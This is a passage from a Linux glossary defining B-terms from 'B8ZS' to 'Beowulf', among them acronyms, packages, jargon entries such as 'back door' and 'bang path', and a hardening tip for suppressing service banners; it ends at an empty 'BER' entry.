Linux-Dictionary ( B - D )

B
B8ZS
Binary 8 Zero Suppression [encoding] (ISDN, T1) 
babygimp
An icon editor in Perl-Tk Babygimp is an icon editor in Perl-Tk. It can edit and save files in .xpm format. 
back door
A hole in the security of a system deliberately left in place by designers or maintainers. 
back door
n. [common] A hole in the security of a system deliberately left in place by designers or maintainers. The motivation for such holes is not always sinister; some operating systems, for example, come out of the box with privileged accounts intended for use by field service technicians or the vendor's maintenance programmers. Syn. trap door; may also be called a `wormhole'. See also iron box, cracker, worm, logic bomb. Historically, back doors have often lurked in systems longer than anyone expected or planned, and a few have become widely known. Ken Thompson's 1983 Turing Award lecture to the ACM admitted the existence of a back door in early Unix versions that may have qualified as the most fiendishly clever security hack of all time. In this scheme, the C compiler contained code that would recognize when the `login' command was being recompiled and insert some code recognizing a password chosen by Thompson, giving him entry to the system whether or not an account had been created for him. Normally such a back door could be removed by removing it from the source code for the compiler and recompiling the compiler. But to recompile the compiler, you have to use the compiler -- so Thompson also arranged that the compiler would recognize when it was compiling a version of itself, and insert into the recompiled compiler the code to insert into the recompiled `login' the code to allow Thompson entry -- and, of course, the code to recognize itself and do the whole thing again the next time around! And having done this once, he was then able to recompile the compiler from the original sources; the hack perpetuated itself invisibly, leaving the back door in place and active but with no trace in the sources. The talk that suggested this truly moby hack was published as "Reflections on Trusting Trust", "Communications of the ACM 27", 8 (August 1984), pp. 761-763 (text available at http://www.acm.org/classics). Ken Thompson has since confirmed that this hack was implemented and that the Trojan Horse code did appear in the login binary of a Unix Support group machine. Ken says the crocked compiler was never distributed. Your editor has heard two separate reports that suggest that the crocked login did make it out of Bell Labs, notably to BBN, and that it enabled at least one late-night login across the network by someone using the login name `kt'. 
back up
to make a copy of important data onto a different storage medium. Backing up to tape is essential system maintenance. 
Backbone
A high-speed line or series of connections that forms a major pathway within a network. The term is relative as a backbone in a small network will likely be much smaller than many non-backbone lines in a large network. 
Background
In computers that can do more than one task at a time, the environment in which tasks (such as printing a document or downloading a file) are carried out while the user works with an applicatino in the foreground. In computers that lack multitasking capabilites, background tasks are carried out during brief pauses in the execution of the system's primary (foreground) tasks. 
background
n.,adj.,vt. [common] To do a task `in background' is to do it whenever foreground matters are not claiming your undivided attention, and `to background' something means to relegate it to a lower priority. "For now, we'll just print a list of nodes and links; I'm working on the graph-printing problem in background." Note that this implies ongoing activity but at a reduced level or in spare time, in contrast to mainstream `back burner' (which connotes benign neglect until some future resumption of activity). Some people prefer to use the term for processing that they have queued up for their unconscious minds (a tack that one can often fruitfully take upon encountering an obstacle in creative work). Compare amp off, slopsucker. Technically, a task running in background is detached from the terminal where it was started (and often running at a lower priority); oppose foreground. Nowadays this term is primarily associated with Unix, but it appears to have been first used in this sense on OS/360. 
background
Processing that a system performs without requiring interaction with the user. In Linux, append an ampersand (&) to the command line to request background processing. 
background process
A process that runs without interacting with a terminal. Because each user in a Linux system is allowed to have a number of background processes running simultaneously, Linux is called a multitasking system. 
Background Process
A program that is running without user input. A number of background processes can be running on a multitasking operating system, such as UNIX/Linux, while the user is interacting with the foreground process (for example, data entry). Some background processes daemons, for example never require user input. Others are merely in the background temporarily while the user is busy with the program presently running in the foreground. 
backreference
n. 1. In a regular expression or pattern match, the text which was matched within grouping parentheses 2. The part of the pattern which refers back to the matched text. 3. By extension, anything which refers back to something which has been seen or discussed before. "When you said `she' just now, who were you backreferencing?" 
backslash
A character (\) that is used in shell statements to quote another character (that is, to remove its special meaning to the shell). For example, if you want to use a dollar sign as a dollar sign, rather than as a symbol for end of line, enter \$. 
backup
A copy of a file (or a group of files) that is stored off-line in the event that a computer system fails, losing or damaging the original file or files. 
backup
To periodically archive data on a system to mitigate risk of permanent data loss in the event of system or component malfunction or destruction. 
backward combatability
/bak'w*rd k*m-bat'*-bil'*-tee/ n. [CMU, Tektronix: from `backward compatibility'] A property of hardware or software revisions in which previous protocols, formats, layouts, etc. are irrevocably discarded in favor of `new and improved' protocols, formats, and layouts, leaving the previous ones not merely deprecated but actively defeated. (Too often, the old and new versions cannot definitively be distinguished, such that lingering instances of the previous ones yield crashes or other infelicitous effects, as opposed to a simple "version mismatch" message.) A backwards compatible change, on the other hand, allows old versions to coexist without crashes or error messages, but too many major changes incorporating elaborate backwards compatibility processing can lead to extreme software bloat. See also flag day. 
backwards compatible
The quality of software to be able to work properly with older versions of the software that may be installed on a machine or communicating with another machine with a lower version of the software. 
BACP
Bandwidth Allocation Control Protocol (BAP, RFC 2125) 
BAD
Broken As Designed (slang) 
Bad Penguin Linux
An Italian distribution, currently at version 0.99.5. 
badblocks
search a device for bad blocks 
BADW
Bayerische Akademie Der Wissenschaften (org.) 
BAGEL
Bay Area GNU Enthusiasts League (GNU, org., user group) 
BAI
Basic Access Interface (ISDN) 
balsa
GNOME email client Balsa is a e-mail reader. This client is part of the GNOME desktop environment. It supports local mailboxes, POP3 and IMAP. 
BALUN
BALanced-UNbalanced [adapter] (cable), "Balun" 
BAM
Bidirectional Associative Memory (neural nets) 
BAM
Block-Availability-Map 
BAM
Bundesanstalt fuer Materialpruefung (org., Berlin, Germany) 
Bambi Linux
A Red Hat based wireless distribution. A 'wireless' distribution. 
Bandwidth
How much stuff you can send through a connection. Usually measured in bits-per-second. A full page of English text is about 16,000 bits. A fast modem can move about 57,000 bits in one second. Full-motion full-screen video would require roughly 10,000,000 bits-per-second, depending on compression. 
bang
1. n. Common spoken name for ! (ASCII 0100001), especially when used in pronouncing a bang path in spoken hackish. In elder days this was considered a CMUish usage, with MIT and Stanford hackers preferring excl or shriek; but the spread of Unix has carried `bang' with it (esp. via the term bang path) and it is now certainly the most common spoken name for !. Note that it is used exclusively for non-emphatic written !; one would not say "Congratulations bang" (except possibly for humorous purposes), but if one wanted to specify the exact characters `foo!' one would speak "Eff oh oh bang". See shriek, ASCII. 2. interj. An exclamation signifying roughly "I have achieved enlightenment!", or "The dynamite has cleared out my brain!" Often used to acknowledge that one has perpetrated a thinko immediately after one has been called on it. 
bang
Denoted by the ! character. The C shell command !!, which repeats the last command, for example, is pronounced "Bang!Bang!". 
Bang path
A series of names that specifies a path between two nodes. It is sometimes used for email or BITNET as well as in the Linux uucp program. The path consists of machine or domain names separated by ! (bang). 
bang path
n. [now historical] An old-style UUCP electronic-mail address specifying hops to get from some assumed-reachable location to the addressee, so called because each hop is signified by a bang sign. Thus, for example, the path ...!bigsite!foovax!barbox!me directs people to route their mail to machine bigsite (presumably a well-known location accessible to everybody) and from there through the machine foovax to the account of user me on barbox. In the bad old days of not so long ago, before autorouting mailers became commonplace, people often published compound bang addresses using the { } convention (see glob) to give paths from several big machines, in the hopes that one's correspondent might be able to get mail to one of them reliably (example: ...!{seismo, ut-sally, ihnp4}!rice!beta!gamma!me). Bang paths of 8 to 10 hops were not uncommon in 1981. Late-night dial-up UUCP links would cause week-long transmission times. Bang paths were often selected by both transmission time and reliability, as messages would often get lost. See Internet address, the network, and sitename. 
banner
Many text-based protocols will issue text banners when you connect to the service. These can usually be used to fingerprint the os or service. Key point: Many banners reveal the exact version of the product. Over time, exploits are found for specific versions of products. Therefore, the intruder can simply lookup the version numbers in a list to find which exploit will work on the system. In the examples below, the version numbers that reveal the service has known exploitable weaknesses are highlighted. Example: The example below is a RedHat Linux box with most the default service enabled. The examples below show only the text-based services that show banners upon connection (in some cases, a little bit of input was provided in order to trigger the banners). Note that this is an older version of Linux; exploits exist for most these services that would allow a hacker to break into this box (most are buffer-overflow exploits). Best practices: It is often recommend (and required in some government areas) to display a banner warning off unauthorized users. It makes the legal case stronger if you can show that the attacker saw a banner that indicated that they were unauthorized. Best practices: All version information should be supressed in the banners. See the product documentation for more information on this. An example on Solaris is to edit the configuration file /etc/default/telnetd and added the line: BANNER="" This will remove the Solaris login banner, making it more difficult for an intruder to determine the type of operating system. 
banner page
A way to separate printing jobs which often indicates the owner of the file that has been printed. 
BanShee Linux/R
BanShee Linux/R is a two-floppy rescue system using uClibc and Busybox to make sure that the system is as small as possible. Initial version 0.5 was released September 18, 2002. Version 0.61 was released October 27, 2002. A floppy-based distribution. 
BAP
[PPP] Bandwidth Allocation Protocol (PPP, RFC 2125, BACP) 
BAPC
[PPP] Bandwidth Allocation Control Protocol (PPP, BAP, RFC 2125) 
BAPCO
Business Application Performance COrporation (org., Compaq, Dell, HP, IBM, MS, Lotus, Intel, ...), "BAPCo" 
BAPI
Business Application Programmer's Interface (SAP, R/3, API) 
BAPT
BundesAmt fuer Post und Telefon (org.) 
bar
/bar/ n. 1. [very common] The second metasyntactic variable, after foo and before baz. "Suppose we have two functions: FOO and BAR. FOO calls BAR...." 2. Often appended to foo to produce foobar. 
BAR
Base Address Register (IC) 
barcode
Creates barcodes in .ps format GNU barcode can create printouts for the conventional product packaging standards: UPC-A, UPC-E, EAN-13, EAN-8, ISBN, code 39 code 128 (b and c), and interleaved 2 of 5 . Ouput is generated as either Postscript or Encapsulated Postscript. 
barrendero
Deletes messages on the spool dir depending on their age. Barrendero is intended to limit the disk space wasted at the spool directory. It deletes mail messages depending on their age, and has the ability to send warnings and reports to the users, to make full and partial backups, and to have different allowed ages on a per-user basis. Warning and report messages are cusomizable and can be translated easely in order to make this package useful in any environment. This way of handling mail as an advantage over the traditional 'quota' system: quotas make the end user loose NEW mail, barrendero deletes OLD mail, so the new mail is always available. 
BARRNET
Bay Area Regional Research NETwork (network), "BARRNet" 
BART
Basic Application RunTime (OS/2, IBM) 
BARWAN
Bay Area Research Wireless Access Network (network, USA) 
BAS
Basic Activity Subset 
basename
Parse pathname components 
basename
strip directory and suffix from filenames 
basename
the name of a file minus any extension that may be included in the full name. For example, if the full name of the source file for a C program is combine.c, its basename is combine. 
bash
Bash is a GNU project sh-compatible shell or command language interpreter. Bash (Bourne Again shell) incorporates useful features from the Korn shell (ksh) and the C shell (csh). Most sh scripts can be run by bash without modification. Bash offers several improvements over sh, including command line editing, unlimited size command history, job control, shell functions and aliases, indexed arrays of unlimited size and integer arithmetic in any base from two to 64. Bash is ultimately intended to conform to the IEEE POSIX P1003.2/ISO 9945.2 Shell andTools standard.Bash is the default shell for Mandrake Linux. You should installbash because of its popularity and power. You'll probably end up using it. 
BASH
Bourne-Again SHell (Unix, Shell) 
Bash
Descended from the Bourne Shell, Bash is a GNU product, the "Bourne Again SHell." It's the standard command line interface on most Linux machines. 
BASH
The Bourne Again Shell and is based on the Bourne shell, sh, the original command interpreter.
bash
The default command interpreter, or shell, for Red Hat Linux. bash features several enhancements to sh, such as built-in file management commands and support for completion of commands and paths using the the [Tab] key. 
bash
The GNU Bourne Again SHell Bash is an sh-compatible command language interpreter that executes commands read from the standard input or from a file. Bash also incorporates useful features from the Korn and C shells (ksh and csh). Bash is ultimately intended to be a conformant implementation of the IEEE POSIX Shell and Tools specification (IEEE Working Group 1003.2). 
Bash (Bourne Again SHell)
An enhanced version of the Bourne Shell. (Also, see Korn Shell.) 
bashbug
report a bug in bash 
BASIC
/bay'-sic/ n. A programming language, originally designed for Dartmouth's experimental timesharing system in the early 1960s, which for many years was the leading cause of brain damage in proto-hackers. Edsger W. Dijkstra observed in "Selected Writings on Computing: A Personal Perspective" that "It is practically impossible to teach good programming style to students that have had prior exposure to BASIC: as potential programmers they are mentally mutilated beyond hope of regeneration." This is another case (like Pascal) of the cascading lossage that happens when a language deliberately designed as an educational toy gets taken too seriously. A novice can write short BASIC programs (on the order of 10-20 lines) very easily; writing anything longer (a) is very painful, and (b) encourages bad habits that will make it harder to use more powerful languages well. This wouldn't be so bad if historical accidents hadn't made BASIC so common on low-end micros in the 1980s. As it is, it probably ruined tens of thousands of potential wizards. [1995: Some languages called `BASIC' aren't quite this nasty any more, having acquired Pascal- and C-like procedures and control structures and shed their line numbers. --ESR] Note: the name is commonly parsed as Beginner's All-purpose Symbolic Instruction Code, but this is a backronym. BASIC was originally named Basic, simply because it was a simple and basic programming language. Because most programming language names were in fact acronyms, BASIC was often capitalized just out of habit or to be silly. No acronym for BASIC originally existed or was intended (as one can verify by reading texts through the early 1970s). Later, around the mid-1970s, people began to make up backronyms for BASIC because they weren't sure. Beginner's All-purpose Symbolic Instruction Code is the one that caught on. 
BASIC
Beginner's All-purpose Symbolic Instruction Code 
BASIC
Beginners All purpose Symbolic Instruction Code: a non-structured language that is often considered the easiest to start programming. It was developed as an interactive, mainframe timesharing language that received fame with home computers in the 1980s. 
Basic Input Output System (BIOS)
A set of instructions stored on a ROM CHIP that handles input-output functions and system component management (such as power configuration and interrupt request settings). 
BasicLinux
BasicLinux is a mini-version of Linux that boots from hard drive, floppy, or CDROM, and runs in a 4meg ramdisk. It's based on Slackware 3.5 and contains a fully-featured shell, an easy-to-use editor, and a variety of useful utilities. It can dial an ISP, browse the web, send/receive mail, or act as a router/firewall. Version 1.7 was released May 12, 2002. Version 2.0 was released February 22, 2003, now based on Slackware 7.1. A small disk distribution. 
basilix
A PHP (both PHP3 and PHP4) and IMAP based webmail application powered with MySQL database server. It has a nice user-friendly interface and its HTML files are easy to be changed/edited. 0.7.6 includes WAP-Support. 
BASIN
Bundesweites Alternatives Studentisches InformationsNetzwerk (WWW, org.) 
bastille
Security hardening tool Bastille Linux is a security hardening program for several Linux distributions. If run in the preferred Interactive mode, it can teach you a good deal about Security while personalizing your system security state. If run in the quicker Automated mode, it can quickly tighten your machine, once a default profile is selected. 
BAT
Baby Advanced Technology [board] (AT) 
batch
adj. 1. Non-interactive. Hackers use this somewhat more loosely than the traditional technical definitions justify; in particular, switches on a normally interactive program that prepare it to receive non-interactive command input are often referred to as `batch mode' switches. A `batch file' is a series of instructions written to be handed to an interactive program running in batch mode. 2. Performance of dreary tasks all at one sitting. "I finally sat down in batch mode and wrote out checks for all those bills; I guess they'll turn the electricity back on next week..." 3. `batching up': Accumulation of a number of small tasks that can be lumped together for greater efficiency. "I'm batching up those letters to send sometime" "I'm batching up bottles to take to the recycling center." 
batch
queue, examine or delete jobs for later execution 
battleball
a soccer game played with tanks or helicopters BattleBall is essentially the game of soccer, played with military vehicles rather than with people. Each player drives a tank or flies a helicopter, and tries to move the ball down the playfield to the other team's goal. Relatively unlimited number of human or computer players can compete in teams or head-to-head. 
battstat-applet
Battery status applet for GNOME Battstat is a battery status applet that monitors the battery charge level on a laptop. It displays different icons depending on the state of the power subsystem, and will warn if the power drops below a user configurable level. It uses the standard GNOME event system to play user configurable samples at certain events. 
Baud
In common usage the baud rate of a modem is how many bitsit can send or receive per second. Technically, baud is the number of times per second that the carrier signal shifts value - for example a 1200 bit-per-second modem actually runs at 300 baud, but it moves 4 bits per baud (4 x 300= 1200 bits per second). 
baud
measures of the rate at which signals are transmitted over a telecommunications link. It is equivalent to the number of elements or pulses transmitted in one second. 
BAYSIS
BAY networks' Switched Internetworking Services, "BaySIS" 
bb
An ASCII-art demo BB is a high quality audio-visual demonstration for your text terminal. 
BB
BridgeBoard (Amiga, Commodore) 
BBC
Broadband Bearer Capability (B-ISDN) 
bbdate
Date tool for the blackbox window manager bbdate is a simple blackbox tool for displaying the date in your blackbox slit. 
bbdb
The Insidious Big Brother Database (email rolodex) for Emacs BBDB is a rolodex-like database program for GNU Emacs. BBDB stands for Insidious Big Brother Database, and is not, repeat, *not* an obscure reference to the Buck Rogers TV series. 
BBIAB
[I'll] Be Back In A Bit (DFUe, Usenet, IRC) 
BBIagent
BBIagent provides a suite of applications to create the software for booting a computer as a broadband router and firewall. Based on the hardware configurations and connection type, you are able to download your own boot file which is written into a single 1.44MB diskette to be a boot diskette for the router. This is a Linux based system which uses Java tools to create a bootable floppy with router software. The software utilites provided by BBIagent.Net are free to use. Version 1.5.0 was released July 11, 2002. Version 1.8.1 was released May 16, 2003. A floppy-based distribution. 
BBIAM
Be Back In A Minute (slang, Usenet, IRC) 
bbkeys
application to handle key bindings in Blackbox In the Blackbox window manager version 0.60 and higher, a separate application is needed to handle key bindings. This is such a program. 
BBL
Be Back Later (slang, Usenet, IRC) 
bblaunch
launch windows with manipulated attribs under blackbox A program which allows the user to control the launching of applications under the Blackbox window manager. The user can launch applications with or without decorations, shaded, on a specific workspace or maximized horizontally or vertically. Requires that you be running the Blackbox window manager or a derivative. 
BBLCD Toolkit
BBLCD is the acronym for Bernhard's Bootable Linux CD or Build your own Bootable Linux CD. BBLCD is a toolkit for building your own bootable Linux CD from your favorite (and possibly customized) distribution. It uses, more or less, an intelligent cp -a / /dev/cdrom to create a CDROM from an existing system. Version 0.7.7 was released April 9, 2003. A CD-based distribution. 
bbmail
Mail Utility for X This is a small mail utility for use with the Blackbox window manager. 
BBN
Bolt, Beranek and Newman (manufacturer) 
BBNS
BroadBand Network Services 
bbpager
Pager for the Blackbox window manager A pager tool for the Blackbox window manager. 
bbpal
displays an image, and changes it every few seconds (from the README) If you've ever used the GNOME applet "fish," or Wanda, then this is an app very similar. In fact, that's where I got the idea for bbpal (since you need GNOME to use Wanda). When you run bbpal, is displays an image, and changes it every few seconds. Exciting, eh? It's fond of using up CPU cycles, and making your friends wonder what the heck it's used for. 
bbppp
PPP tool for the blackbox window manager bbppp is a blackbox tool to control and manage your PPP link. It can start up /shut down your ppp connection (by running pon/poff), and displays rx and tx via a modem-lights style PPP load, and also the PPP link uptime. Note that you don't actually need blackbox for this program to work, but it won't look as good in any other window manager. 
BBR
Back Bone Ring 
BBS
Bulletin Board System (DFUe) 
BBS (Bulletin Board Service)
A forum for users to browse and exchange information. Computer BBSs are accessible by telephone via a personal computer and a modem. Many BBSs are small operations run by a single person that allow only several users to log on at the same time. Some are much larger and allow hundreds of users to login simultaneously to use the system. Huge, commercial examples are America Online, CompuServe, and Prodigy. For example, please visit http://www.tcworld.com/wwwboard/wwwboard.html From Glossary of Distance Education and Internet Terminology
BBS (Bulletin Board System)
A computerized meeting and announcement system that allows people to carry on discussions, upload and download files, and make announcements without the people being connected to the computer at the same time. In the early 1990's there were many thousands (millions?) of BBS?s around the world, most are very small, running on a single IBM clone PC with 1 or 2 phone lines. Some are very large and the line between a BBS and a system like AOL gets crossed at some point, but it is not clearly drawn. 
BBS (Bulletin Board System)
Electronic BBSs formed much of the the core "cyberspace" in the 1980s. Telecommunication costs were high, so rather than interconnected via "always-on" connections, such systems transfered files and messages as irregular intervals over dial-up lines. Mail was transported through BBS via protocols like FidoNet and UUCP. Files would move themselves from system to system as users would download from one BBS and upload to others. Many of today's older hackers were active in the BBS community of the 1980s. 
bbsload
System load tool for the blackbox window manager bbsload is a blackbox tool to display your system load. It can show simple system bar graphs, including load averages for 1, 5 and 15 minute periods, memory usage, swap usage, total system usage, as well as CPU loads for user, nice and system processes and idle time. Note that you don't actually need blackbox for this program to work, but it won't look as good in any other window manager. 
bbtime
Time tool for the blackbox window manager bbtime is a blackbox tool to display the system time in your blackbox slit. It can also display other times as an offset of your local time in a menu. Note that you don't actually need blackbox for this program to work, but it won't look as good in any other window manager. 
bc
The GNU bc arbitrary precision calculator language GNU bc is an interactive algebraic language with arbitrary precision which follows the POSIX 1003.2 draft standard, with several extensions including multi-character variable names, an `else' statement and full Boolean expressions. GNU bc does not require the separate GNU dc program. 
BCAM
Basic Communication Access Method 
BCBDS
Broadband Connectionless Data Bearer Service (B-ISDN) 
bcc
16-bit C compiler This is a C-compiler for 8086 CPUs which is important for the development of boot loaders or BIOS related 8086 code. It is possible to run 8086 code under i386 Linux using an emulator, `elksemu', also included in this package. 
BCC
Base Communications-computer Center (mil., USA) 
BCC
Blind Carbon Copy (DFUe) 
BCC
Block Check Character 
BCCH
Broadcast Control CHannel (GSM, mobile-systems) 
BCD
Binary Coded Decimal 
BCDBS
Broadband Connectionless Data Bearer Service (ATM) 
BCDIC
Binary Coded Decimal Interchange Code 
BCDMA
Broadband Code Division Multiple Access (Interdigital, SNI, Samsung), "B-CDMA" 
BCF
Base station Control Function (BS, BTS, GSM, mobile-systems) 
bchunk
A CD image format converter from bin/cue to iso/cdr/wav The bchunk package contains a UNIX/C rewrite of the BinChunker program. BinChunker converts a CD image in a .bin/.cue format (sometimes .raw/.cue) into a set of .iso and .cdr/.wav tracks. The .bin/.cue format is used by some non-UNIX CD-writing software, but is not supported on most other CD-writing programs. 
BCI
Batibus Club International (org.) 
BCI
Brain Computer Interface 
bclock
Bezier Clock Bezier Clock, looking somewhat different than usual clocks. This very funny clock uses a Bezier curve to draw the hands of the clock. 
BCM
Basic Control Monitor (OS, Xerox, Xerox 530) 
BCN
Backbone Concentrator Node (Wellfleet) 
BCOB
Broadband Class of Bearer (B-ISDN) 
BCP
Basic Call Process (IN) 
BCP
Binary Communications Protocol 
BCP
Binary Control Protocol (Adobe, PS) 
BCP
[Internet] Best Current Practice (Internet, RFC) 
BCP
[PPP] Bridging Control Protocol (PPP, RFC 1638) 
BCPL
// n. [abbreviation, `Basic Combined Programming Language') A programming language developed by Martin Richards in Cambridge in 1967. It is remarkable for its rich syntax, small size of compiler (it can be run in 16k) and extreme portability. It reached break-even point at a very early stage, and was the language in which the original hello world program was written. It has been ported to so many different systems that its creator confesses to having lost count. It has only one data type (a machine word) which can be used as an integer, a character, a floating point number, a pointer, or almost anything else, depending on context. BCPL was a precursor of C, which inherited some of its features. 
BCPL
Basic / BBN Combined Programming Language (BBN) 
BCRFS
Bell System Reference Frequency Standard 
BCS
Banking Communication Standard (banking) 
BCS
Basic Combined Subset 
BCS
Basic Control System (OS, HP, HP 2100) 
BCS
Binary Compatibility Standard (Motorola) 
BCS
Block Check Sequenz (GPRS, GSM, mobile-systems) 
BCS
British Computer Society (org., UK) 
BCSM
Basic Call State Model (IN) 
BCU
Bus Controller Unit 
BDA
BIOS Data Area (BIOS) 
BDA
Borland DAtabase (Borland, DB) 
BDA
BundesDatenAutobahn [e.v] (org., ISP) 
BDAM
Basic Direct Access Method (DAM) 
BDC
Backup DOMAIN Controller (MS, Windows NT, PDC) 
BDE
BetriebsDatenErfassung 
BDE
Borland Database Engine (Borland, Delphi, DB) 
BDF
Bitmap Description / Display Format (Adobe, Fonts) 
BDF Fonts
A variety of bitmapped fonts for the X Window System. (Also, see PostScript Fonts and TrueType Fonts.) 
bdflush
The bdflush process starts the kernel daemon which flushes dirty buffers back to disk (i.e., writes all unwritten data to disk). This helps to prevent the buffers from growing too stale.Bdflush is a basic system process that must run for your system to operate properly. 
bdfresize
Resize BDF Format Font Bdfresize is a command to magnify or reduce fonts which are described with the standard BDF format. 
bdftopcf
convert X font from Bitmap Distribution Format to Portable Compiled Format 
bdftruncate
generate truncated BDF font from ISO 10646-1-encoded BDF font 
BDK
[java]Beans Development Kit (Java) 
BDOS
Basic Disk Operating System (CP/M) 
BDR
Bus Device Request (SCSI) 
BDSG
BundesDatenSchutzGesetz Germany 
beancounter
A stock portfolio performance monitoring tool This package provides beancounter, a tool to quantify gains and losses in stock portfolios, as well as the BeanCounter Perl module that underlies it. Beancounter queries stock prices from Yahoo! Finance server(s) around the globe and stores them in a relational database (using PostgreSQL) so that the data can be used for further analysis. Canned performance reports are available. 
Beans
Components for the JavaBeans architecture. 
BearOps
BearOps Linux, formerly MaxOS, provides the BearOps Linux Server. 
beast
GTK+ Graphical network system to generate sound BEAST/BSE is a plugin-based system where you can link objects to each other and generate sound. This is still an ALPHA version of the upstream. 
BEAT
Best Enhanced Advanced Technology (Trident, AT) 
beav
Binary Editor And Viewer (beav) beav is an editor for binary files containing arbitrary data. Text file editors, on the other hand, expect the files they edit to contain textual data, and/or to be formatted in a certain way (e.g. lines of printable characters delimited by newline characters). With beav, you can edit a file in HEX, ASCII, EBCDIC, OCTAL, DECIMAL, and BINARY. You can display but not edit data in FLOAT mode. You can search or search and replace in any of these modes. Data can be displayed in BYTE, WORD, or DOUBLE WORD formats. While displaying WORDS or DOUBLE WORDS the data can be displayed in INTEL's or MOTOROLA's byte ordering. Data of any length can be inserted at any point in the file. The source of this data can be the keyboard, another buffer, or a file. Any data that is being displayed can be sent to a printer in the displayed format. Files that are bigger than memory can be handled. 
beaver
An Early AdVanced EditoR Beaver is a text editor that is lightweight but full of features for programming from web authoring to C programming. It is based on the GTK+ toolkit, supports tons of languages through config files (compatible with UltraEdit 'wordfile.txt') and offers functions such as automatic indentation, correction and completion, or syntax highlighting. 
BEB
Binary Exponential Backoff (CSMA/CD, LIB) 
BEC
Back-End-Chip (DVR) 
BECEEP
BErlin Continuing Engineering Education Program, "BeCEEP" 
Becker, Donald
a staff scientist with the Center for Excellence in Space Data and Information Sciences (CESDIS). Donald has been extremely influential in the development of low-cost, high-performance parallel computing as the chief investigator of the Beowulf Project. Becker has written enhancements to the kernel network subsystem to support faster I/O on high-speed networks, device drivers for countless Ethernet cards, and a distributed shared-memory package. 
BECN
Backward Explicit Congestion Notification (ATM) 
BED
Bookmark Exploring Dabbler (VRML) 
BEDO
Burst EDO [DRAM] (EDO, RAM, DRAM, IC, Micron) 
BEDODRAM
Burst Extended Data Out DRAM (RAM, DRAM, IC), "BEDO-DRAM" 
beecrypt2
An open source C library of cryptographic algorithms. BeeCrypt is an open source cryptography library that contains highly optimized C and assembler implementations of many well-known algorithms including Blowfish, SHA-1, Diffie-Hellman, and ElGamal. Unlike some other crypto libraries, BeeCrypt is not designed to solve one specific problem, like file encryption, but to be a general purpose toolkit which can be used in a variety of applications. There are also no patent or royalty issues associated with BeeCrypt, and it is released under the GNU LGPL license, which means it can be used for free in both open source and closed source commercial projects. 
Beehive Linux
Beehive Linux is a distribution made by system administrators, for system administrors. It's intent is to provide fast and clean setup of workhorse servers and workstations. Version 0.5.0 was released April 16, 2002. Version 0.6.0 was released September 15, 2002. 
beep
Advanced pc-speaker beeper beep does what you'd expect: it beeps. But unlike printf "\a" beep allows you to control pitch, duration, and repetitions. Its job is to live inside shell/perl scripts and allow more granularity than one has otherwise. It is controlled completely through command line options. It's not supposed to be complex, and it isn't - but it makes system monitoring (or whatever else it gets hacked into) much more informative. 
BEEV
Bundesverband der Elektronik- und ElektroschrottVerwerter (org.) 
BEF
Brightness Enhancement Foile (LCD) 
beforelight
screen saver 
Behlendorf, Brian
although the Apache web server is largely a community effort, Behlendorf is probably one of its most important developers. 
Bell-LaPadula Modle (BLM)
An academic model for enforcing access control for government and military. The model is based around the idea of mandator access control. The formal definition from TCSEC is: ...a means of restricting access to objects based on the sensitivity (as represented by a label) of the information contained in the objects and the formal authorization (e.g., clearance) of subjects to access information of such sensitivity In this definition, a "subject" is somebody (user) who wants access to an "object" (information, data file, system). The subject and object have different security levels. Objects (information, data, systems) are assigned security classification levels. A typical example would be: unclassified < confidential < secret < top-secret Subjects are assigned similar clearance levels that allow access to objects of similar level or below. For example, if you are a government employee with "secret" clearance level, you can access everything but "top-secret" information. A classification level such as "top-secret" will also include categories. For example, you may have a "secret" clearance for NATO information, and "top-secret" clearance for all matters pertaining to nuclear weapons. The system follows the principle of least privilege. Therefore, you would not be cleared to access top-secret NATO nuclear plans because your NATO clearance isn't high enough. 
BELLCORE
BELL COmmunications REsearch (org., USA), "Bellcore" 
BEOS
Be Operating System (OS), "BeOS" 
Beowulf
a multi computer architecture which can be used for parallel computations. It is a system which usually consists of one server node, and one or more client nodes connected together via Ethernet or some other network. It is a system built using commodity hardware components, like any PC capable of running Linux, standard Ethernet adapters, and switches. 
Beowulf
A network of relatively inexpensive computers (including PCs), potentially using different processors and hardware architectures, united by Linux and special system-level software into a massively parallel computing system. The end result is a system capable of supercomputer computation at a much lower price. This sort of system is ideal for compute-intensive tasks such as weather modeling, because the calculations can be divided among dozens, hundreds, or even thousands of separate processors all running simultaneously. Sometimes referred to a "Beowulf-class supercomputer", or a super-cluster or hyper-cluster. For more on Beowulf technology, read the following articles: www.linuxworld.com/linuxworld/lw-2000-04/lw-04-parallel.html, and www.ibm.com/press/prnews.nsf/Searchvw/3f4e88b102477aa5852568460067a52a. 
Beowulf
Famed was this Beowulf: far flew the boast of him, son of Scyld, in the Scandian lands. So becomes it a youth to quit him well with his father's friends, by fee and gift, that to aid him, aged, in after days, come warriors willing, should war draw nigh, liegemen loyal: by lauded deeds shall an earl have honor in every clan. Beowulf is the earliest surviving epic poem written in English. It is a story about a hero of great strength and courage who defeted a monster called Grendel. See History to find out more about the Beowulf hero. There are probably as many Beowulf definitions as there are people who build or use Beowulf Supercomputer facilities. Some claim that one can call their system Beowulf only if it is built in the same way as the NASA's original machine. Others go to the other extreme and call Beowulf any system of workstations running parallel code. My definition of Beowulf fits somewhere between the two views described above, and is based on many postings to the Beowulf mailing list: Beowulf is a multi computer architecture which can be used for parallel computations. It is a system which usually consists of one server node, and one or more client nodes connected together via Ethernet or some other network. It is a system built using commodity hardware components, like any PC capable of running Linux, standard Ethernet adapters, and switches. It does not contain any custom hardware components and is trivially reproducible. Beowulf also uses commodity software like the Linux operating system, Parallel Virtual Machine (PVM) and Message Passing Interface (MPI). The server node controls the whole cluster and serves files to the client nodes. It is also the cluster's console and gateway to the outside world. Large Beowulf machines might have more than one server node, and possibly other nodes dedicated to particular tasks, for example consoles or monitoring stations. In most cases client nodes in a Beowulf system are dumb, the dumber the better. Nodes are configured and controlled by the server node, and do only what they are told to do. In a disk-less client configuration, client nodes don't even know their IP address or name until the server tells them what it is. One of the main differences between Beowulf and a Cluster of Workstations (COW) is the fact that Beowulf behaves more like a single machine rather than many workstations. In most cases client nodes do not have keyboards or monitors, and are accessed only via remote login or possibly serial terminal. Beowulf nodes can be thought of as a CPU + memory package which can be plugged in to the cluster, just like a CPU or memory module can be plugged into a motherboard. Beowulf is not a special software package, new network topology or the latest kernel hack. Beowulf is a technology of clustering Linux computers to form a parallel, virtual supercomputer. Although there are many software packages such as kernel modifications, PVM and MPI libraries, and configuration tools which make the Beowulf architecture faster, easier to configure, and much more usable, one can build a Beowulf class machine using standard Linux distribution without any additional software. If you have two networked Linux computers which share at least the /home file system via NFS, and trust each other to execute remote shells (rsh), then it could be argued that you have a simple, two node Beowulf machine. 
BER
